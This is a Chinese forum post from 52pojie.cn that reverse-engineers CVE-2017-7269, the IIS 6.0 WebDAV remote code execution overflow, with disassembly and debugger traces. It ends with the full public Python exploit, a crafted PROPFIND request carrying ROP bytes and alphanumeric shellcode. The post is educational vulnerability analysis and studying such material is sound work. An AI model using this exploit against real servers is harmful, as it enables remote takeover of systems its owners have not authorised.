吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 20326|回复: 17
收起左侧

[漏洞分析] CVE-2017-7269:IIS6.0远程代码执行漏洞逆向分析

[复制链接]
A2ir 发表于 2017-4-9 13:40
本帖最后由 A2ir 于 2017-4-10 20:43 编辑

关于cve-2017-7269这种已经把exp给我们的漏洞,对于我这样的新手来说虽然没有办法像网上的大神那样从各种角度深度剖析这个漏洞,但是我想通过IDAWindbg动静结合的分析这个漏洞。  由于是纯粹逆向,一定存在比较片面的地方,还请大牛多多指教,共同进步。
0x01 简化EXP   
由于我们只想分析这个EXP,于是简化掉功能部分,即shellcode部分。结果如下图
图片1.png
0x02 准备调试
环境:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0
那么究竟是什么引起了这个漏洞呢?网上告诉我是这样Windows Server 2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞 那么这个函数在那里呢 在httpext.dll里。


0x03 开始调试
首先我们直接跑起来,看看会发生什么。 如下图

图片2.png
由于我们去掉了Shellcode,于是就达的效果。 我们把上面说到的dll拖到ida里,定位到该函数的位置,该函数位于 673e9451然后会发现这个函数长这样。

图片3.png
网上说这个函数调用了两次发生了溢出可是这个函数实际的作用就是调用了一个函数而已。虽然很懵逼,但是还是点击去吧。进入如下图的函数

图片4.png

果断按下F5看看情况。

图片5.png

发现明显的内存拷贝,那么这个exp就是平凡的栈溢出吗? 我们怀揣着这样的理想,在这个函数的结尾处(673f702c)下断点,跑起来。

图片6.png

并没有明显的溢出,于是这并不是简单的栈溢出。 好吧~既然如此,我们不如来做枯燥的工作 看看它的数据是怎么进行拷贝的。

首先我们看到了这个if
图片7.png
这个if直接控制是否跳转到内存拷贝
图片8.png
简单说明一下这个函数吧

[Asm] 纯文本查看 复制代码
.text:673F6F99    mov     edi, [ebp-450h]   edi=0130f804 
.text:673F6F9F                 lea     eax, [esi+esi]      eax=24h
.text:673F6FA2                 mov     ecx, eax         ecx=24h
.text:673F6FA4                 mov     edx, ecx         edx=24h
.text:673F6FA6                 shr     ecx, 2            ecx=9h
.text:673F6FA9                 lea     esi, [ebp-43Ch]    esi=0130f35c
.text:673F6FAF                  rep movsd      /*循环次数由ecx控制                                             
                                                                    拷贝的目标地址由edi决定                                             
                                                                   数据来源于esi*/  
.text:673F6FB1                 mov     ecx, edx            
.text:673F6FB3                 mov     edx, [ebp-22Ch]
.text:673F6FB9                 and     ecx, 3           //ecx=0 
.text:673F6FBC                 rep movsb               //由于ecx=0,所以不进行。
.text:673F6FBE                 mov     esi, [ebp-444h]   // esi=0067cd38
.text:673F6FC4                 sub     ebx, edx
.text:673F6FC6                 lea     esi, [esi+edx*2]  // esi=0067cd38
.text:673F6FC9                 mov     edx, [ebp-450h]  // edx=0130f804
.text:673F6FCF                 lea     edi, [eax+edx]
.text:673F6FD2                 lea     ecx, [ebx+ebx+2] ecx=130
.text:673F6FD6                 mov     eax, ecx
.text:673F6FD8                 shr     ecx, 2           //ecx= 4c
.text:673F6FDB                 rep movsd               //执行4c次
.text:673F6FDD                 mov     ecx, eax        //ecx=24
.text:673F6FDF                 and     ecx, 3           //ecx=0
.text:673F6FE2                 rep movsb               //不执行
.text:673F6FE4                 mov     eax, [ebp-230h
.text:673F6FEA                 lea     eax, [edx+eax*2]
.text:673F6FED                 jmp     short loc_673F6FFC       //跳出拷贝。

第一次拷贝的数据范围edi 0130f804~0130f958
必须要说明一下的是,三次内存拷贝分别是在第二、第三、第五次调用该函数的时候进行内存拷贝。
余下还有两次,就不累述了。
关于余下两次。edi的值会有很大变化。给出全部变化的结果~

第一个rep出现在673f6faf   //进行                                                                                                                        
                                                                                                                                                                          第一次:edi=0130f804   完成后 0130f828                           
                                                                                                                                                                          第二次:edi=680312c0   完成后680312e4
                                                                                                                                                                         第三次:edi=0130fab4   完成后 0130fad8               
第二个rep出现在673f6fbc     //不进行      
第三个rep出现在673f6fdb    // 进行                          
                                                                                                                                                                          第一次  edi =0130f828  完成后0130f958                           
                                                                                                                                                                          第二次  edi=680312e4  完成后68031464                           
                                                                                                                                                                          第三次  edi=0130fad8  完成后0130fc08
第四个rep      673f6fe2   // 不进行      


既然如此,我当然就想知道为什么它会崩溃,在什么时候崩溃。

于是经过对函数大量的下断点,终于找到了会引发崩溃的函数。 该函数为ScStoragePathFromUrl内部的一个函数ScStripAndCheckHttpPrefix,这个函数代码如下。
图片9.png
一眼看出这个函数是虚函数。

于是很自然的联想到堆溢出

那么我们需要验证自己的想法,到底是怎么回事,于是我想说我要搞定edi esi的来源。为什么呢,因为edi地址跳跃很大,感觉是被认为控制。

在数据进行内存拷贝之前自然是没法控制,于是我们直接来到第二次内存拷贝。


找出根源是最紧要的,于是我得到了如下的步骤
[Asm] 纯文本查看 复制代码
.text:673F6F99  mov     edi, [ebp-450h]

推出
[Asm] 纯文本查看 复制代码
.text:673F6C9B  mov     [ebp-450h], eax

推出
[Asm] 纯文本查看 复制代码
.text:673F6C93 mov     eax, [ebp+8]

[ebp+8]0130f7a0的参数如何变化?

[Asm] 纯文本查看 复制代码
 673e9461 ff750c          push    dword ptr [ebp+0Ch]  ss:0023:0130f7b8=0130f804入栈 

此时esp=01307a4  ebp=0130f7ac
[ebp+c](0130f7b8)的参数又怎么变?
[Asm] 纯文本查看 复制代码
.text:673F54DF                 push    edi             ; int 

此时esp=0130f7b8 ebp=0130fc34,edi的值又是怎么变得?


此时ebp=0130fc34 esp=0130f7c0 ebp-328h = 0130f90c 在我们第一次拷贝数据的范围内。于是控制程序复制数据的位置 至此edi的值怎么回事解答完毕


那么esi呢? 由下图

第一次内存拷贝:
1.png

第二次内存拷贝:

2.png

第三次内存拷贝:

3.png

Esi只是充当一个传递值的~于是不用太关注
好了,至此我们已经知道了怎么把参数分配到指定位置去。并且得出这样的结论 第一次内存拷贝是为了第二次edi值的传递,进行了堆溢出。 那么第三次内存拷贝呢?
我们关注点放在会崩溃的函数,因为程序马上就会崩溃掉。

图片13.png
我们关注a1的值
图片14.png
Esi的值是a1 ,于是开始寻找esi的变化的根源。
于是
[Asm] 纯文本查看 复制代码
.text:673F6CA4                 mov     esi, ecx

于是
[Asm] 纯文本查看 复制代码
673f5799 8b4dec          mov     ecx,dword ptr [ebp-14h] ss:0023:0130fbbc=680312c0

至此,我们已经完成了我们的工作,于是程序就会这样

图片15.png

进入rop,并且绕过DEP
图片16.png

图片17.png





附上exp:

[Python] 纯文本查看 复制代码
#------------Our payload set up a ROP chain by using the overflow 3 times. It will launch a calc.exe which shows the bug is really dangerous.
#written by Zhiniang Peng and Chen Wu. Information Security Lab & School of Computer Science & Engineering, South China University of Technology Guangzhou, China 
#-----------Email: [url=mailto:edwardz@foxmail.com]edwardz@foxmail.com[/url]
import socket  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect(('127.0.0.1',80))  
pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'
pay+='If: <http://localhost/aaaaaaa'
pay+='\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac'
pay+='>'
pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb'
pay+='\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81'
shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LMX1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XKQ3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJZ2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA'
pay+='>\r\n\r\n'
print pay
sock.send(pay)  
data = sock.recv(80960)  
print data 
sock.close


免费评分

参与人数 2威望 +1 吾爱币 +11 热心值 +2 收起 理由
爷单身1却潇洒 + 1 + 1 谢谢@Thanks!
L4Nce + 1 + 10 + 1 欢迎分享。

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| A2ir 发表于 2017-4-10 18:39 来自手机
L4Nce 发表于 2017-4-10 17:55
你好,请问你和这个作者(http://bbs.pediy.com/thread-216861.htm)是不是同一个人?,还有就是排版有些乱 ...

不是一个人,新人第一次发帖不是很熟练。。排班什么的我再优化一下吧
L4Nce 发表于 2017-4-10 17:55
你好,请问你和这个作者(http://bbs.pediy.com/thread-216861.htm)是不是同一个人?,还有就是排版有些乱,code部分论坛有专门的code插件可以使用
不是佐助 发表于 2017-4-10 19:50
 楼主| A2ir 发表于 2017-4-10 20:07

是的,iis6.0
日月双飞 发表于 2017-4-16 10:32
学习,分享美德
★邪梦 发表于 2017-4-21 17:31
向楼主学习,感谢分享,
gongyong728125 发表于 2017-4-24 20:02
嗯嗯谢谢,学习啦!
diting789 发表于 2017-9-7 15:07
路过学习
miss1994 发表于 2017-10-23 13:28
小白一枚,佩服楼主的耐心
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 13:42

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表